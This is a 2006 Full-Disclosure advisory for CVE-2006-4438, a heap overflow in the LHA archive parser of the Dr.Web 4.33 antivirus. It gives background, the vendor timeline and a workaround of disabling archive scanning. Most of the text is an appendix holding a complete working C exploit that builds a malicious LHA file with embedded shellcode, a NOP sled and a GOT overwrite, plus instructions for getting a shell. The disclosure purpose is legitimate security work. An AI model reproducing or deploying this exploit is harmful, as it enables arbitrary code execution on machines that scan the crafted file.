Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:14340
HistorySep 20, 2006 - 12:00 a.m.

[Full-disclosure] Dr.Web 4.33 antivirus LHA long directory name heap overflow

2006-09-2000:00:00
vulners.com
16

Topic: Dr.Web 4.33 antivirus LHA long directory name heap
overflow

Announced: 2006-09-19
Product: Dr.Web antivirus
Vendor: http://www.drweb.com/
Impact: Code execution
Affected product: Dr.Web 4.33, probably earlier versions also
Credits: Jean-Sebastien Guay-Leroux
CVE ID: CVE-2006-4438

I. BACKGROUND

Dr.Web, a new generation of a virus scanner, searches and kills file
and boot viruses, as well as combination viruses, which infect both
files and boot sectors.

The SpIDer intercepts all attempts to access files and disk system
areas and checks them for viruses "on-the-fly" first. Having detected
a virus, SpIDer removes or locks it, granting access to the infected
file only if it has been successfully cured.

A highlight of Dr.Web that differ it from other scanners is the
heuristic analyzer along with the traditional mechanism for detecting
viruses by signatures (a specific byte string in the virus code that
definitely identifies the virus).

Updates for new virus-extensions online via Internet

o Available for following systems:
o Windows 9x, Me, XP, 2000, 2003
o LINUX
o FreeBSD, OpenBSD
o Solaris
o Novell
o OS/2

II. DESCRIPTION

When building a special LHA archive with a long directory name in an
extended directory header, a fixed size buffer on the heap is
overflowed.

When processing this malicious archive, it is then possible to make
Dr.Web run arbitrary code by overwriting some internal malloc
management informations.

III. IMPACT

Denial of service and possibly code execution.

IV. EXPLOIT

A working exploit version was developped for Dr.Web (R) Scanner for
Linux v4.33 (4.33.0.09211). See appendix 1.

V. SOLUTION

The vendor did not provide any patch or workarounds for this security
flaw. It is suggested to either change your antivirus software or to
disable archive scanning until the vendor releases a patch.

Disabling archive scanning greatly reduces DrWeb's power to detect
viruses. To disable it, you need to modify drweb.ini and change the
"CheckArchives" line to:

CheckArchives = No

VI. CREDITS

Vulnerability was discovered by Jean-Seastien Guay-Leroux.

VII. TIMELINE

2006-04-xx : Bug is discovered (I don't remember when exactly :-)
2006-08-11 : Proof of concept code is written.
2006-08-25 : Vendor is notified via [email protected] and
[email protected].
2006-08-29 : Vendor says the bug was submitted to the developpers for
review.
2006-09-05 : Vendor is asked to provide an update on the bug.
2006-09-06 : Vendor says the request has been forwarded to the
developpers.
2006-09-11 : Vendor is asked, again, to provide an update on the bug.
2006-09-11 : Vendor replies with : "Sorry, no action yet."
2006-09-19 : Advisory is published.

VIII. APPENDIX 1

/********************************************************************

stetoscope.c:
Dr.Web 4.33 antivirus LHA directory name heap overflow for linux

  • Howto:

    Find a valid GOT entry to hijack with objdump -R /opt/drweb/drweb .
    I guess that you can use the address of free(), but my exploit
    uses the address of realpath(). There was a NULL byte in the GOT
    entry of free() so I had to find something else ;-)

    Calling the exploit will produce a file. Scan this file with a
    vulnerable version of drweb and you will, hopefully, get a shell :-)

    Good luck!

  • Exploit particularities:

    • There is a NOP sled using \xeb\x0a . Increases exploit
      reliability

    • 0xff and 0x00 are filtered caracters

    • Bypass some malloc security checks added in malloc.c:

      Little security check which won't hurt performance: the
      allocator never wrapps around at the end of the address space.
      Therefore we can exclude some size values which might appear
      here by accident or by "design" from some intruder.

      This thread helped me a lot :-) :

      http://archives.neohapsis.com/archives/dailydave/2006-
      q1/thread.html#149

    • Shellcode took from Metasploit's shellcode generator.

  • Coded by:

    Jean-Sebastien Guay-Leroux
    http://www.guay-leroux.com

*********************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// Base structure of a LHA file
#define I_HEADER_SIZE 0
#define I_HEADER_CHECKSUM 1
#define I_METHOD 2
#define I_PACKED_SIZE 7
#define I_ORIGINAL_SIZE 11
#define I_LAST_MODIFIED_STAMP 15
#define I_ATTRIBUTE 19
#define I_HEADER_LEVEL 20
#define I_NAME_LENGTH 21
#define I_NAME 22
#define I_CRC 26
#define I_EXTEND_TYPE 28

// Extended structure of a LHA file
#define E_HEADER_SIZE 0
#define E_HEADER_TYPE 2
#define E_HEADER_NAME 3

#define DEBUG 0

unsigned char shellcode1[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08"
"\x11\x22\xdf\x83\xeb\xfc\xe2\xf4\x62\x1a\x7a\x46\x5a\x77\x4a\xf2"
"\x6b\x98\xc5\xb7\x27\x62\x4a\xdf\x60\x3e\x40\xb6\x66\x98\xc1\x8d"
"\xe0\x19\x22\xdf\x08\x3e\x40\xb6\x66\x3e\x51\xb7\x08\x46\x71\x56"
"\xe9\xdc\xa2\xdf";

FILE * open_file (char *filename) {

    FILE *fp;

    fp = fopen &#40; filename , &quot;w&quot; &#41;;

    if &#40;!fp&#41; {
            perror &#40;&quot;Cant open file&quot;&#41;;
            exit &#40;-1&#41;;
    }

    return fp;

}

void put_byte (char *ptr, unsigned char data) {
*ptr = data;
}

void put_word (char *ptr, unsigned short data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
}

void put_longword (char *ptr, unsigned long data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
put_byte (ptr + 2, data >> 16);
put_byte (ptr + 3, data >> 24);
}

void usage (char *progname) {

    printf &#40;&quot;&#92;nTo use:&#92;n&quot;&#41;;
    printf &#40;&quot;&#37;s &lt;retloc&gt; &lt;retaddr&gt; &lt;file&gt;&#92;n&#92;n&quot;, progname&#41;;
    printf &#40;&quot;Example: &#37;s 0x08080114 0x081C63F8 LHA_dir&#92;n&#92;n&quot;,
    progname&#41;;

    exit &#40;-1&#41;;

}

int main (int argc, char *argv[]) {

    FILE *fp;
    char *hdr = &#40;char *&#41; malloc &#40;4096&#41;, *ptr;
    int header_size;
    int written_bytes;
    int total_size;
    unsigned int retloc, retaddr;
    char *filename = &#40;char *&#41; malloc &#40;256&#41;;
    int i;

    if &#40;!hdr&#41; {
            perror &#40;&quot;Error allocating memory&quot;&#41;;
            exit &#40;-1&#41;;
    }

    if &#40; argc != 4&#41; {
            usage &#40; argv[0] &#41;;
    }

    // parse arguments
    sscanf &#40;argv[1], &quot;0x&#37;x&quot;, &amp;retloc&#41;;
    sscanf &#40;argv[2], &quot;0x&#37;x&quot;, &amp;retaddr&#41;;
    strncpy &#40;filename, argv[3], 255&#41;;

    memset &#40;hdr, 0, 4096&#41;;

    // base header
    header_size = 29;
    put_byte &#40;hdr + I_HEADER_SIZE, header_size&#41;;
    put_byte &#40;hdr + I_HEADER_CHECKSUM, 83&#41;;
    memcpy &#40;hdr + I_METHOD, &quot;-lh0-&quot;, 5&#41;; // No compression...
    put_longword &#40;hdr + I_PACKED_SIZE, 0x1234&#41;;
    put_longword &#40;hdr + I_ORIGINAL_SIZE, 0x1234&#41;;
    put_longword &#40;hdr + I_LAST_MODIFIED_STAMP, 0x1234&#41;;
    put_byte &#40;hdr + I_ATTRIBUTE, 0x20&#41;;
    put_byte &#40;hdr + I_HEADER_LEVEL, 0x01&#41;;
    put_byte &#40;hdr + I_NAME_LENGTH, 0x04&#41;;
    put_longword &#40;hdr + I_NAME, 0x90909090&#41;;
    put_word &#40;hdr + I_CRC, 0x6666&#41;;
    put_byte &#40;hdr + I_EXTEND_TYPE, 0x55&#41;; // Unix filesystem.

    // extended header
    put_word &#40;hdr + header_size + E_HEADER_SIZE, 285&#41;;
    put_byte &#40;hdr + header_size + E_HEADER_TYPE, 0x2&#41;;

    // Build our payload
    memset &#40;hdr + header_size + E_HEADER_NAME, 0x41, 266&#41;;
    for &#40;i = 0, ptr = hdr + header_size + E_HEADER_NAME; i &lt; &#40;240
    - strlen &#40;shellcode1&#41; - 10&#41;;&#41; {
            ptr[i++] = 0xeb;
            ptr[i++] = 0x0a;
    }
    for &#40;; i &lt; &#40;240 - strlen &#40;shellcode1&#41;&#41;;&#41; {
            ptr[i++]=0x90;
    }
    memcpy &#40;hdr + header_size + E_HEADER_NAME + 240 - strlen
    &#40;shellcode1&#41;, shellcode1, strlen&#40;shellcode1&#41;&#41;;

    put_longword &#40;hdr + header_size + E_HEADER_NAME + 266,
    0x41414141&#41;;
    put_longword &#40;hdr + header_size + E_HEADER_NAME + 270,
    0xB7E34CC2&#41;;
    put_longword &#40;hdr + header_size + E_HEADER_NAME + 274, retloc
    - 0xc&#41;;
    put_longword &#40;hdr + header_size + E_HEADER_NAME + 278,
    retaddr&#41;;

    // Size of next extended header is 0
    put_word &#40;hdr + header_size + E_HEADER_NAME + 282, 0x0000&#41;;

    total_size = &#40;header_size + 284 + E_HEADER_NAME&#41;;

    fp = open_file &#40;filename&#41;;

    if &#40; &#40;written_bytes = fwrite &#40; hdr, 1, total_size, fp&#41;&#41; != 0 &#41;
    {
            if &#40;DEBUG&#41; printf &#40;&quot;&#37;d bytes written&#92;n&quot;,
            written_bytes&#41;;
    } else {
            perror &#40;&quot;Cant write to the file&#92;n&quot;&#41;;
    }

    fclose &#40;fp&#41;;

    return 0;

}


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Related for SECURITYVULNS:DOC:14340